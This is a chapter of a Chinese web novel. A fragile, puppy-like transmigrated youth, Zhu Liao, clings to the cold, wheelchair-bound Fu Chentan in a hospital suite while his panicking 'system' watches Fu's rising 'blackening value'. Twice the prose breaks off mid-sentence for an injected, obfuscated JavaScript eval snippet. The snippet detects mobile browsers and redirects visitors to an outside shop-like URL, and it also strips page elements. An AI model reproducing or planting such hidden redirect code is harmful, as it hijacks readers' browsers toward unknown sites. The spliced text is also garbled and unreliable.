然后,他就好像那场歇斯底里的表演从未发生过一样,平静地收回视线,操纵着轮椅,来到了这条可以观察到那间病房的走廊暗处,继续他沉默的观察。 里面的小狗正在听傅晟讲绿茶捞子,因为完全听不懂走了几秒的神,还曾经敏锐地察觉到了门外的视线,趁傅晟不注意飞速探头,悄悄望了一眼。 走廊里很黑,所以那个时候,祝缭并没有看到傅沉檀。 系统完全探测不到傅沉檀的情绪,就是这样才更提心吊胆,对着那个鲜红的、刺眼恐怖的97%,实在非常害怕傅沉檀会随手拧断祝缭那一点也不结实的脖子。 …… 急促慌乱的脚步声打破了寂静。 走廊的另一头,傅晟的身影僵在病房门口。过分刺眼明亮的灯光从他身后溢出,让他像是变成了苍白的石膏像。 他追出来了。 “舅……舅舅。” 傅晟的喉咙发干,发紧,是因为强烈的恐惧。 傅晟随母姓,但母亲傅心洁认为入赘不是什么光彩的事,不愿伤害丈夫那点可怜的自尊,对外只准他跟别人说,傅沉檀是他家里的「叔叔」。 在他母亲日复一日的哭诉、怨恨与恐惧里,傅沉檀是冷酷的恐怖的存在,是害得他父亲险些破产,一度试图囚禁他母亲、害得他们一家分崩离析的罪魁祸首。 傅晟的瞳孔重重收缩。 他死死盯着蜷缩在傅沉檀怀里的祝缭,看着傅沉檀那只落在少年白皙脆弱的后颈上,看似随意的手。 那绝对不是抚摸。 那是掌控,是标记,是猛兽对已经到手的猎物轻描淡写的……占有声明。 他……干了什么? 他是疯了吗,把祝缭送给这种人?! 就因为—— 被愚弄和欺诈的灭顶暴怒褪去,理智带着刺骨的寒意回笼,或许还有刚才看着祝缭轻轻飘过他、头也不回地离开的慌乱、连他自己也不明白的烦躁不安,恐惧,以及……后悔。 几乎要把他吞没,咆哮着,充斥和席卷全身的后悔。 不能放任祝缭真丢了小命。 “舅舅,我、我是来找祝缭的。”不知道出于哪种混杂的情绪,傅晟上前一步,声音还带着不易觉察的颤抖,“我……我们刚才就是闹了点别扭,我犯浑,吼他,惹他生气了,打扰您了,我现在就带他……带他回去。” 他的语速很快,磕磕巴巴,目光急切地投向蜷在傅沉檀臂弯里的祝缭。 祝缭不可能会懂得要生气的。 过去也有很多次,无论他发了多大的脾气、说了多难听的话,祝缭都只是用那双柔软湿漉的深栗色眼睛看着他,露出“你好像很生气”、“那我过一会儿再来贴贴哦”的表情……然后一切,就好像总能被那种奇异的、不记仇的柔软纯净化解,稀里糊涂地翻篇。 他习惯了那种无底线的安全感,甚至……下意识地沉溺,倚仗,乃至挥霍着那份仿佛绝对不可能失去的纵容。 可这一次,祝缭没有抬头,没有看向他。 甚至,在听到傅晟那急切又慌乱的声音的下一刻,祝缭就试图把脑袋藏起来。 那种非常固执的,自欺欺人的“我不看你所以你看不见我”,他整张脸都用力埋起来,只留下一个毛绒绒的后脑勺。 ——小狗的喜欢非常长久,非常坚定,像每天早上都会暖乎乎扑个满怀的太阳。 但不喜欢就是不喜欢了。 简单,直白,没有中间地带。 不是惩罚、不是报复、不是闹别扭的赌气,甚至没有任何怨恨。 就只是……游戏结束。那个曾经一起在环山公路上享受速度和激情,一起品尝稀奇古怪的新奇美食,一起在城市灯火里的每个角落穿梭的“一起玩”的游戏结束了——就像小狗某天忽然对某个玩腻了的旧玩具失去了兴趣,不会再在看到它时眼睛发亮,不会兴高采烈地叼着它满屋子跑。 以后,小狗也不再喜欢坐在机车后座感受狂风铺面、心脏怦怦跳的“飙车”了。 所以,再也不会和这个人类一起玩了。 傅沉檀低下头。 他的视线落在怀里这颗正努力“刨坑”、试图把他弄出一个类似羽绒被能形成的凹陷,好把自己更深、更安全地藏进去当鸵鸟的浅金色脑袋上。 少年的身体柔软微凉,整个人都处在某种坚定的、拒绝接受任何信号的屏蔽状态,专心致志藏自己,蓬松又有点乱糟糟的金色短发轻轻蹭着他的下颌,带来细微的痒。 原本落在白皙脖颈后的手,轻轻动了下,贴在了少年单薄的脊背上,形成了个沉默的、半环抱的圈占姿势。 他没有说话,也没有立刻对傅晟那语无伦次的解释和乞求做出什么反应。 只是微微偏过头,用下颌很轻地回碰了下柔软的金色发顶,像是某种无言的、默许的庇护,一道清晰的界限——他在自己的地盘,用存在和姿态,允许这只举止奇异的、正试图躲避风雨的小动物:你可以藏在这里。 祝缭是这么给脑海里急得团团转、疯狂生成到第127种「宿主紧急抢夺与逃亡计划」的系统翻译的。 他似乎很能理解傅沉檀异常沉默的身体语言,并且立刻心安理得地接受了这份“许可”。他甚至得寸进尺,轻轻拽着傅沉檀的西装衣摆,试图把那片昂贵微凉的布料像小被子一样,往自己身上多盖一点,营造出一种更安全的氛围。 小狗眼泪汪汪:「傅沉檀是好人哦。」 系统:「……」 它看着傅沉檀那稳定在97.3%、纹丝不动的刺眼黑化值,再看看终于找到了“安全区”,成功屏蔽掉所有不喜欢的人和事,安心地开始犯困的自家宿主,整个统的数据流都弥漫开一股浓浓的完蛋了的绝望。 系统没招了。 它看着傅晟像是被抽走了魂,脸色灰败,僵在原地。看着祝缭毫无防备、完全可以说是超级乖顺地被傅沉檀圈在轮椅里,转身离开。 甚至因为电动轮椅启动的那一下没坐稳,祝缭的身体轻轻晃了晃,很有安全意识地悄悄伸出了胳膊,抱住了傅沉檀的腰,把自己更稳当地、更舒服地往里面塞了塞,完美地嵌合固定在了这个临时找到的移动新安全区里。 ……匆匆处理完傅心洁,紧急赶回的安崇,在走廊转角看到这一幕之后,脚步也绊了下。 在傅家数十年、见惯大风大浪的安管家,脸上也罕见地出现了短暂的震撼呆滞与沉默。 “去顶层,疗养套房。” 傅沉檀单手环抱着怀里似乎开始犯困的少年,另一只手操控轮椅,似乎不觉得臂弯里就这么多出了个人形挂件是什么奇怪的事,淡声吩咐:“要医生上去。” 祝缭迷迷糊糊地抬起头。 他的声音因为困了变得又软又糯,眼睛里也蒙了层雾蒙蒙的水汽,但还牢记小狗守则的重要环节,小声地、软软地,带着点理所应当的期许,提出补充需求:“还要零食。” 他饿了,而且被“安全人类”摸摸之后,通常都会有零食作为快乐时光的美好延续和奖励,这是小狗逻辑里天经地义的一环。 傅沉檀落下视线,看了他几秒,抬起眼睛:“还要零食。” 安崇:“……” “是。”见惯大风大浪的安管家调整姿态,弯腰回答,“先生,我立刻安排。” …… 祝缭就这么迷迷糊糊地又被搬了家。 从标准VIP病房,搬到了位于医院顶层、从不对外开放的顶级 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096620|195641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疗养套房。 系统刚飘进来就被震撼得宕机——这里面的豪华程度居然丝毫不输给五星级酒店,和别墅色调迥异,以温暖的米白与原木色为主,家具一应俱全且品质极高,厚重的遮光窗帘自动滑开,露出灯火璀璨的城市天际线夜景,脚下是柔软的加厚地毯,吸走了所有脚步声。 祝缭的身上被医护人员轻柔地佩戴上了小巧的24小时心脏动态检测仪,一根根细细的导线连接着他胸前、背后的感应片,那个巴掌大的小白机器塞在病号服的大口袋里。 不过,这对祝缭来说,完全不重要。 他甚至没怎么低头去研究身上多出来的这个小机器,只是偶尔被轻微的“嘀”声吸引,好奇地偏头听一下。 他也几乎完全没关注新环境的具体变化——IMAX银幕般的巨大落地窗,遍布各处的智能家居面板,光线柔和富有设计感的灯带,甚至套房里那个自带恒温按摩功能的豪华浴缸……这些东西对他来说,暂时都没有意义。 至少目前是这样。 好小狗是不会在家里有人的时候,就迫不及待去探索和拆家的。 当“安全的人类”就在触手可及的范围里而且成功贴住之后,他的全部精力,满脑子、满心满眼,就只剩下了那个人本身。 傅沉檀留了下来。 没有离开。 套房内独立的书房区域被临时当作了办公点,宽大的实木书桌上,安崇已经取来了所有必须审阅处理的文件,傅沉檀那台惯用的、经过特殊加密的笔记本电脑也一并带了过来。 傅沉檀就坐在轮椅里,面对着屏幕,移动鼠标,敲打键盘,专注地处理着那些似乎永远无穷无尽、操控商业帝国运转的邮件与报告。 祝缭一开始是被安顿在了云朵一样又舒服又软和的超长布艺软沙发上。 有抱枕、有被子、有安崇叫人精心挑选的清淡点心和温度正好的热牛奶。甚至,养了几天祝缭、经验丰富的安管家,还贴心地一起拿过来了祝缭的游戏机和手机充电线。 但这些显然不能让变舒服的小狗满足。 过了不到十分钟,监控影像里,沙发上的“被子卷”就有了细微的、不易觉察的蠕动。祝缭抱着枕头,一点一点,悄无声息地溜下沙发,赤着脚踩在地毯上。 又过了半分钟,毛绒绒的浅金色脑袋慢吞吞顶开门,探在门沿,乖乖地看了一会儿,观察里面那个正在工作的人类。 然后,像是不小心地、仿佛是在散步走错了地方地,悄无声息蹭进了书房。 又过了十秒……成功挪到了傅沉檀的轮椅旁边。 成功抵达。 祝缭停下来,不再前进。 好小狗不能在人工作的时候打扰。 祝缭懂得这个道理,所以牢牢闭着嘴巴,只是仰着脸,用湿漉漉的、写满“你看我呀”的深栗色杏仁眼睛,安静又执着地望着傅沉檀的侧脸。 傅沉檀敲完屏幕上的最后一行字,视线暂时离开电脑,落在他身上。 祝缭的眼睛立刻像是被点亮的小星星一样,“唰”地亮了起来,他快乐地从被子里伸出一只手,轻轻拉了拉他的西装裤腿,又提醒似的,指了指自己的脑袋。 他的态度理所当然,傅沉檀看了他几秒,伸出手,掌心向下,稳稳地覆上那颗凑过来的浅金色的脑袋,手指穿过柔软的金色发丝,以一种近乎机械般的、却异常稳定的节奏,一下,一下,轻轻梳理着。 祝缭立刻舒服地眯起了眼睛,把下巴搭在傅沉檀的膝盖上,全身心地享受起了这份突如其来、高质量的“摸摸服务”。 傅沉檀则重新将视线转回电脑屏幕。 在侍立在一旁的安崇沉默震撼的注视里,傅沉檀右手操控鼠标,点开下一封邮件,左手依旧规律地、一下一下地抚摸膝盖上的脑袋。 仿佛处理跨国并购邮件和给一只捡来的小狗顺毛,是两件毫不冲突、完全可以并行不悖的,相当普通平常的常规事务。 这么过了一分钟,傅沉檀停下抚摸,屈起指节,在祝缭变得暖和起来的后颈皮肤上,不轻不重地、带着明确指令意味地点了两下。 这是“够了,回去”的意思。 祝缭眼睛里虽然流淌出一点点“这么快就没了吗”的小遗憾,但还是立刻领会了,乖乖地、慢吞吞地爬起来,抱着自己的小薄被,一步三回头地,磨磨蹭蹭地回客厅那个属于他的沙发云朵窝去了。 世界恢复了安静和高效,只剩下傅沉檀沉默敲击键盘、点击鼠标的响声。 …… 半小时后。 书房厚重的实木门,再一次被某种柔软而无辜的力量,悄无声息地、不小心地顶开。 那颗浅金色的脑袋,又悄悄探了进来。 这次的祝缭没有直接蹭到轮椅边上,因为安崇未雨绸缪地搬了把椅子。 祝缭自然地接受了这个新据点,他爬上去,趴在椅子高高的靠背上,下巴垫着胳膊,继续用那种超乖的、柔软湿漉漉视线,安静地,持之以恒地发射“你看我呀”光波攻击。 这次摸了三分钟。 …… 又过了半个小时。 祝缭带来了他的小饼干和牛奶,饼干被他大方地分给了傅沉檀一块,没有被吃掉,安静地待在桌子角落。牛奶因为已经冷了,被傅沉檀没收,给安崇拿去换新的了。 …… 又过了半个小时。 傅沉檀敲击键盘的速度变慢,似乎遇到了什么相对棘手的事务,视线比平时稍久地停在屏幕上,鼠标点击的声音也消失了。 安崇试探着俯身询问,等待吩咐:“先生?” 傅沉檀盯着屏幕,无声皱了下眉,他的视线从电脑屏幕上移开,掠过身侧,椅子。 他操纵轮椅,向后退了半米,视线冷静地扫过书房的每个角落:宽大的实木书桌下方,厚重的窗帘褶皱后,书架与墙壁形成的狭窄阴影里。 安崇实在不知道他忽然在找什么:“……先生?” “祝缭不见了。”傅沉檀说,“他昏过去了吗?” 7. 睡着了,先生 安崇:“……?” 有那么一瞬间,见惯大风大浪、处理过无数匪夷所思情况而面不改色的安管家,罕见地怀疑起了自己的耳朵。 傅沉檀没有解释,也没有再看安崇,他的眉头微微蹙起,视线落回电脑屏幕,右下角代表时间的数字清晰分明,正不疾不徐地闪烁。 半小时的规律被打破了。 距离上次那个毛绒绒的生物准时出现,蹭过来打卡,留下了兔子饼干,获得了新的热牛奶和五分钟“摸摸服务”后,心满意足、磨磨蹭蹭、一步三回头地离开书房……已经过去了三十三分钟,四十九秒。 祝缭没有按时出现在不远处的那把加了软垫的高背扶手椅上。 这不正常。 安崇:“……” 他花了足足五秒钟,才将“半小时一次的规律”、“这次没出现”、“主动寻找”、“基于现有信息合理推测人是昏过去了”这几条线索,用一条符合傅沉檀行为模式的逻辑线串了起来。 然后,他用刻入骨髓的定力,完美地压制住了抬手去揉一揉隐隐作痛太阳穴的冲动。 “先生。”安崇迅速调整好表情,用最平稳、最专业,不会引发任何多余联想导致误会的语调汇报,“祝缭少爷没有昏倒,他很好,就在客厅里的沙发上,只是……睡着了。” 傅沉檀:“睡着了。” “是。”安崇取过平板电脑,迅速调出客厅的实时监控画面,将屏幕转向傅沉檀的方向,“大约十分钟前睡着的,睡得很香。” 傅沉檀的视线扫过那个监控画面。 安崇调整了灯光模式,只留下几盏极其柔和的壁灯,光线条件不好,画面并不算清楚。 只能看见一个模模糊糊、被一大堆柔软织物包裹的人形轮廓,祝缭用蓬松的羽绒被和一堆超蓬松的枕头给自己精心做了个完美的窝,整个人深深陷在里面,只露出一小撮金色的发顶和小半张脸,身体随着呼吸微微起伏。 看起来睡得又香又沉,毫无防备。 安崇垂着视线,装作完全没有看到傅沉檀在听到这个回答、并亲眼确认监控画面之后,那张鲜少表情的脸上,罕见地掠过一丝极淡的不满意“人为什么还要睡觉”的表情。 “大概……是玩累了。” 安崇顿了顿,尝试补充更多通人性的、能让先生进一步理解的具体细节:“祝缭少爷身体本来就不舒服,心脏负荷重,容易疲倦。” “和……那边吵了架后。”他巧妙地省略了那个名字,用一个含混的停顿带过,“难免情绪有些波动,又刚换了新环境,需要休息恢复。” 傅沉檀没有再说什么。 他只是向后,更用力地靠进轮椅深处,恢复了那个惯常的、兼具审视与掌控意味的姿势,手指无意识地一下一下,缓慢地拨动着鼠标的滚轮。 他的视线却并没回到快速滑动着数据和图表电脑屏幕上,而是越过屏幕,停在书架那些印着烫金字迹的密密麻麻整齐书脊上,又或者他并没看那些,只是落在了虚空中的某一点。 在听见“吵了架”前面那个被隐去的含混名字时,傅沉檀深黑的眼底,悄然掠过了一瞬稍纵即逝、不易觉察的厌恶与冰冷。 傅晟。 安崇知道,这样一个被惯坏了、行事全凭冲动,脑子一热就不计后果,只会耍些上不得台面的少爷脾气,玩弄点幼稚手段“报复”的小毛孩子,在傅沉檀眼中渺小如尘。 如果不是因为祝缭这个意外,仅凭傅晟,甚至不配被傅沉檀真正“看见”,不配激起任何情绪波澜。 傅沉檀真正厌恶的,是傅晟那个入赘的父亲。 那个处心积虑,靠着花言巧语、叫人恶心的下作手段,蛊惑了他一手带大的妹妹,把傅心洁从那个会牵着他的衣角、眼睛亮晶晶叫他“二哥”的小姑娘,变成如今这副偏执癫狂可悲模样的……令人作呕的男人。 傅晟不过是那个男人卑劣血脉与拙劣教育的融合,一个令人不快的副产品。 傅心洁是由傅沉檀一手带大的。 在亲情单薄如纸、吃人不吐骨头的冰冷家族,失去父母庇佑的兄妹三人,曾是彼此唯一的依靠和牵挂。被抛在国外的那些日子里,他们险些被分开送去寄养家庭,四处东躲西藏,曾在暴雨夜断电的狭窄阁楼里依偎取暖,勾着手指拼命发誓,要做永远的一家人。 后来,因为那些见不得人的肮脏阴谋,傅沉檀残了,大哥死了。 傅心洁用那种千刀万剐的憎恨眼神盯着他,哭喊着,将他当成破坏她“幸福家庭”的罪魁祸首,诅咒着要他下地狱,要他遭报应,去死,永世不得超生。 傅沉檀依旧没什么表情,他的视线落在窗外,那些沉睡城市中零星未熄的灯火光点上。 “咔嚓。” 轻微的、有些突兀的碎裂声。 安崇的瞳孔骤然收缩。 傅沉檀捏碎了那个临时被找来凑数的、质量不算太好的鼠标,硬脆的塑料外壳崩裂,尖锐的碎塑料片割破手掌,鲜血一下涌出来。 …… 系统吓飞了。 「快快快快……收拾东西!不,别收拾了!立刻!马上!跟我跑!」 系统用小黑手一路狂奔,扎进羽绒被里,拼命摇晃睡得正香祝缭,揪他睡得乱飞的头发和眼睫毛。 「傅沉檀的黑化值涨到98%以上了!还在涨!这代表他的价值观已经发生了崩坏,而且约束他行为、让他克制自身的一切准绳都已经崩断,说不定待会儿就要发疯杀人了!」 在小黑手摇出残影后,祝缭终于迷迷糊糊地“唔”了一声,深栗色的眼睛勉强睁开了一条缝。 他小声地、含混地,像一颗化开的棉花糖一样嘟嘟囔囔地问:“开饭了吗?” 「开什么饭!逃命啊!现在是讨论饭的时候吗!」 系统长出十八只小黑手,把听到“没开饭”就又开始重新融化瘫倒、软绵绵地重新陷回被窝里的人形软糖强行拖起来:「快跑!我黑了监控和感应器!有三分钟的时间,快快快动起来!用你最快的速度!」 祝缭还没完全醒,被脑袋里尖锐的警报和闪烁的红光弄得有点昏昏涨涨,揉了揉眼睛,坐起来,听话地开始移动。 他好像……闻到了什么。 祝缭的鼻尖轻轻动了动。 不是黄油饼干和热牛奶的甜香,也不是清淡舒适的香氛,是……更精准刺入他本能的,某种特殊的,铁锈般的腥气。 血的味道。 小狗不会认错血的味道。 祝缭停下动作,又仔细地嗅了嗅。 困意下的茫然懵懂潮水般迅速退去,深栗色的眼睛在昏暗的光线里,倏地变得清亮、专注。 “傅沉檀……”他又小声地、近乎是喃喃地,用舌尖抵着上颚,轻轻地重复了一遍这个名字,仿佛在确认气味的来源,也像是在确认某种模糊的直觉。 下一秒,他飞快掀开身上的薄被,跳下沙发,熟门熟路、目标明确地跑向那个渗出温暖光线的书房。 「对对对!跑起来!保持这个速度……不对!反了!方向反了!是那边!窗户,窗户啊!」系统急得绒毛都开始冒火星,伸出小黑手想拽他,却抓了个空。 祝缭已经把书房的那扇厚实的实木门,拿脑袋轻轻顶开了一条缝。 他没有贸然闯进去,而是先扒着门框,小心翼翼地把脑袋探进了一小半,露出一双圆溜溜的、机警的眼睛,观察里面的情况。 ……没有医生。 有淡淡的消毒水气味,混合着更清晰、明显的血味。 安叔在为傅沉檀包扎。 祝缭晕血,系统冒着火星一路「啊啊啊啊」地杀过去,在他眼前疯狂贴图打马赛克。 傅沉檀依然保持着那个向后靠在轮椅里的姿势,脊背挺直,看不出表情,他没有看安崇,也没有看门口的动静,仿佛这一切都已经与他无关,视线只是平静地、漠然地落向窗外浓沉的夜色。 祝缭慢慢眨了下眼睛。 他……不喜欢这个样子的傅沉檀。 安崇察觉到了门口多出的人影,微不可察地皱了皱眉,他本想暗中示意祝缭先离开,但看了一眼先生毫无反应、甚至没有从窗外收回的视线,到口边的话又被咽回。 祝缭在轮椅边蹲了下来,仰着头,他试着用自己睡得很暖和的手,轻轻地、试探性地握住了傅沉檀垂在身侧的那只冰冷的左手。 傅沉檀垂下眼睛。 系统对着98.9999%的黑化值吸氧,这不仅仅是个数字,它代表理智不再是堤坝,深藏在冰层下的庞大无序暗影正在上浮,构成“傅沉檀”这个存在的一切社会规则、道德底线、自我克制、情感纽带,都在以一种令人胆寒的速度崩解。 现在的傅沉檀,从某种程度来说,已经不再是那个掌控着商业帝国的、会随手庇护祝缭的,冷静自持的掌权者。 是一头彻底挣断了所有无形的锁链、站在悬崖边,面无表情俯瞰着万丈深渊,充斥着空洞毁灭欲的未知猛兽。 …… 小狗开始往未知猛兽身上爬。 绝望到试图就地取材、用数据线把自己挂起来上吊的系统:「…………」 祝缭显然还和这台造型炫酷、功能高端的定制轮椅不熟悉,第一次尝试,因为没找准受力点,手一滑就掉了下去,膝盖磕在冰冷的金属踏板上。 傅沉檀的视线轻微动了下,蹙了蹙眉。 祝缭揉了两下膝盖,皱了皱鼻子,继续努力,第二次试图扒住傅沉檀的腰借力,但他低估了西装面料的光滑程度,整个人呲溜一下滑下去,一屁股坐回了柔软的地毯上。 傅沉檀的视线落在了柔软的浅金色脑袋上,深黑的眼底没有波澜,没有阻止,也没有任何允许或鼓励的意思,只是平静地旁观一场与己无关的默剧。 第三次。 祝缭深吸了口气,他用两只手紧紧抓住傅沉檀轮椅扶手,身体悬空,但力气很快就耗尽,眼看就又要往后栽倒—— 一只手,从旁边伸了过来。 是傅沉檀刚包扎好的、缠着雪白绷带的右手,精准地、带着某种近乎漠然的力道,像拎起一件没什么重量的物品,轻而易举从背后箍住了祝缭的肋下,将人提溜了起来。 然后……向内一收,稳稳地安置在了自己的腿上。 系统:「!!!」 安崇默默地将用过的医疗废弃物收起,悄无声息退后几步,垂手立在阴影里,仿佛自己只是一件会呼吸的家具。 祝缭坐在傅沉檀的怀里,因为刚才的一番“剧烈运动”微微气喘,傅沉檀的手掌托住了他的后脖颈,很冰,指腹压上颈侧。 祝缭摇了摇头,抬起胳膊做了个很强壮的动作,示意心脏没有乱跳。 傅沉檀低头看了他几秒,手指松开,就要移开视线,重新看向窗外的夜色。 但干净的、湿漉漉的杏仁眼睛固执又柔软地望着他,一眨不眨,映出他的影子,然后,祝缭微微抬头,把自己的脸,温热的、柔软的,没有任何预兆地,轻轻贴上了傅沉檀冰凉的颈侧。 傅沉檀的身体微不可察地僵了一瞬。 祝缭不说话,只是轻轻地、软软地拱他。 鼻尖,颤动的睫毛尖,湿漉漉的热气,柔软的、因为刚睡醒而有些干燥的嘴唇……不掺任何情-欲或是算计,笨拙又努力地、毫无章法地拱着他,像一只急切想要巢穴恢复原样的小动物。 深栗色的眼睛抬起来,发射“不摸了吗”、“以后还摸吗”的超委屈光波。 傅沉檀垂着眼睛,看着枕在自己肘窝、毛绒绒的、有些凌乱的浅金色脑袋,他那只没有受伤的左手,原本垂在身侧,此刻,像是被某种无形的力量凭空牵引着,抬了起来。 虚虚罩在蓬松柔软的浅金色发顶上。 停留了几秒。 然后,开始以一种缓慢的、近乎机械的固定节奏,一下,一下,抚摸着。 从发顶到后脑勺,指尖穿过柔软的发丝,掌心抚着后脑,再到白皙的、在被窝里睡得暖热的,脆弱得仿佛一折就断的后颈。 抚摸的范围逐渐扩大——据角落里的安崇观察,这或许与祝缭少爷那极具正反馈、舒服到不行的轻轻呼气,和简直超满足的小声哼唧有关。 傅沉檀开始沿着后颈的弧度向下,隔着薄薄的病号服,抚摸少年单薄的脊背。 傅沉檀的身形高大,手也很大,几乎能覆盖住祝缭的半边脊背,祝缭的身体也在这种沉默而持续的抚摸下,肉眼可见地放松了下来,软软地、安心地重新融化在傅沉檀的怀里。 ……不知这样过了多久。 傅沉檀屈起指节,不轻不重,但带着某种明确“结束”含义地,敲了敲祝缭已经被焐得暖乎乎的、甚至出了一层薄汗的后颈。 “去睡觉。” 蜷在他怀里的小狗轻轻响了一声,装没听到,抱着他另一条胳膊的两条细瘦手臂收得更紧了些,整个人也更往怀里嵌了嵌,闭着眼睛一动不动,全情投入地表演“我睡着了,而且睡得很熟,听不见也动不了”。 “祝缭。” 傅沉檀低声念他的名字,语气很淡,没什么情绪,却并不显得严厉,只是平静地指出一个事实:“我不是床。自己回去。睡觉。” 小狗听不得这种“你不是床所以不能睡”的冷酷逻辑。 长长的睫毛尖轻轻颤动了几下,慢吞吞地、磨磨蹭蹭地张开,湿漉漉的深栗色眼睛可怜巴巴,带着十二万分的不舍和委屈,一眨不眨地望着他。 翻译过来大概就是那种“你知道的我从小就没有舒服的床”…… 系统心惊胆战,严阵以待,随时准备把给大象扎的麻醉剂扎傅沉檀那看起来冷酷无情、不为所动的后脖子上。 但预想中的“宿主惨被失去耐心的反派丢进垃圾桶”的惨案并没有发生。 傅沉檀只是垂着眼,看着怀里这颗毛绒绒的、坚定异常,正用尽全力发射可怜光波的浅金色脑袋。 双方对视着,谁也不说话地僵持了大约十来秒。 傅沉檀叹了口气。 他先沉默着移开了视线,不再纠结这个问题,仿佛怀里并没多出一只耍赖的小狗,他回到电脑前,带着这个大型的、柔软的、不肯回窝的人形挂件,用触控板和左手继续被打断的工作。 系统牢牢盯着后台数据,黑化值没降,但也没再升了,摇摇晃晃地暂时凝固在了某个怵目惊心、但起码奇迹般暂时稳住了的数值上。 99.3%。 …… 一夜平安。 祝缭醒来的时候,已经是第二天中午了。 他发现自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096621|195641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 躺在套房主卧那张又大又软、完全可以滚来滚去不用担心掉下去的超级大床上,身上盖着蓬松轻软的羽绒被,枕头的高度和软硬也都恰到好处,显然也被精心调整过。 提心吊胆了一整宿的系统还在死机般地充电休眠。 身边空荡荡的,傅沉檀已经走了。 但那件被蹂躏了一整晚的西服还在,虽然难免多了些褶皱,但布料依旧质感绝佳,触手微凉,上面还有傅沉檀的味道。 后背和脖颈的皮肤,好像还残留着被那只大手缓慢、有力、稳定抚摸后的安心触感。 回顾二十多个世界,祝缭还没找到过手法这么让他满意的人类。他把脸埋进那件西装里,深深吸了口气,然后抱着它在柔软的被窝里开心地打了个滚,浅金色的头发蹭得自由乱飞。 午餐是安崇亲自送来的,营养均衡、精致可口。 历尽世事的安管家平稳依旧,仿佛昨夜任何不同寻常的意外都没发生,在他用餐时通知:“祝缭少爷,今天下午的安排是外出,医生需要评估您的心脏在适度户外活动状态下的具体表现。” 外出!活动!玩! 三颗小烟花在祝缭的脑海里“砰砰砰”三连炸,边咬煎蛋边打瞌睡、本来还有些惺忪深栗色眼睛“唰”地亮了起来。 “真的可以出去玩吗?安叔!”他迫不及待地三两口吞掉最后半个溏心煎蛋,从椅子上跳下来,身后仿佛有看不见的小尾巴欢快地摇出虚影。 “是的,少爷。”安崇微微颔首,看着少年瞬间被点亮的生动脸庞,惯常刻板的古井眼底掠过一丝极不起眼的、连他自己都未曾察觉的柔和,“但需要全程佩戴检测设备,并且听从医生和我的安排,随时保持联系,不能擅自行动,不能去危险或人群过于密集的地方。” “嗯嗯!好哦!”祝缭用力点头,脸上的笑容灿烂得能驱散一切阴霾,他甚至立刻摸出自己那部叮当作响、挂满了挂件的手机,熟练地飞快调出二维码,眼睛亮晶晶地看向安崇,“安叔扫我!加好友!随时联系!” 于是,一整个下午。 在严密的安保和医疗团队的实时监控下,终于允许放风的小狗开始了他的“狂玩”之旅。 他们去了一座远离市区、环境清幽,有巨大草坪的临湖生态公园,司机和随行的医护人员都训练有素,存在感极低,祝缭可以尽情地追着不怕人的鸽子慢跑、观察被禁止投喂的胖锦鲤、还试图喂一只据说超级凶的黑天鹅。 海量的、毫无构图可言的、充满了纯粹快乐的怼脸照片井喷一样刷爆了安管家的朋友圈。 于是,祝缭立刻“偶遇”了一位恰好在附近、一眼认出公园位置的,他手机列表里的“好朋友”——某位性格开朗阳光,就读于顶尖美院的艺术系学长。 看到熟悉的身影突然出现,祝缭立刻惊喜地挥手打招呼,跑过去,两个人坐在长椅上聊了会儿天,分享了安叔送来的下午茶点心和超甜水果。 祝缭还兴致勃勃展示了自己没编完的、没能成功送给傅沉檀的绳结,立刻得到了对方真诚的夸奖,和不少实用的编织建议。 他还在学长的热情推荐和带领下,跳上学长的自行车后座,一起去了一家小众但品位不俗的手工饰品店,一口气挑了一大堆非常漂亮、在光线下亮闪闪的蜜蜡珠和小石头。 “给傅沉檀的礼物!”他举起手里装着漂亮珠子的小布袋,眼睛亮亮地回头,给跟在几步外的安崇展示,“学长刚教我的,可以加在绳结上!” 安崇沉默了一瞬,想解释先生并无带饰品的习惯,但看到少年那张纯粹的、只是单纯迫不及待想要把发现的快乐和美好分享给所有人的脸,还是咽了回去,只是微微颔首表示知晓。 祝缭穿的是新衣服,应当没有带什么钱。安崇去付账,发现那个开朗的艺术系年轻人已经付好了,还揉着祝缭的脑袋,握住他的手指,笑着耐心地一点点纠正了他编错的某个地方。 “傅沉檀,是缭缭你交的新朋友?听名字就感觉不一般。”那个年轻人一边帮祝缭调整绳结,一边随口笑着说,“有时间一起来玩啊,大家好久没聚了。”他还轻轻捏了捏祝缭的脸,“气色不错嘛,难得见你睡得好,玩得也这么开心……” 安管家站在几步之外,低着头,沉默地看着先生发来的【如果没人陪他,实在不开心,就带他回来】的短信。 …… 祝缭尽兴地玩了一个下午。 一直到夕阳西下,他才在安崇的提醒下,意犹未尽、依依不舍地和学长挥手告别,抱着一大袋新买的小珠子,钻进了气派的保姆车。 车舒服得要命。 祝缭偷偷在后座打呵欠。 空调温度适宜,座椅也极为舒适,车子几乎没有任何噪音,行驶得平稳异常。 新鲜空气、尽兴的适度运动、快乐情绪的冲刷过后,恢复安静,身体深处的虚弱和强烈的疲倦感,才像退潮后的礁石一样后知后觉出现。 祝缭的脸紧紧贴着车窗,努力睁大眼睛,看着窗外飞速倒退的、逐渐被夜色浸染的城市街景,眼皮越来越重,视野也开始模糊、重叠。 终于,在车子又一个平稳的转弯后,他的身体软软滑倒,彻底屈服于柔软宽大的座椅后背,陷入香甜的梦乡。 安管家坐在副驾,低头看着手机。 先生打来的视频电话。 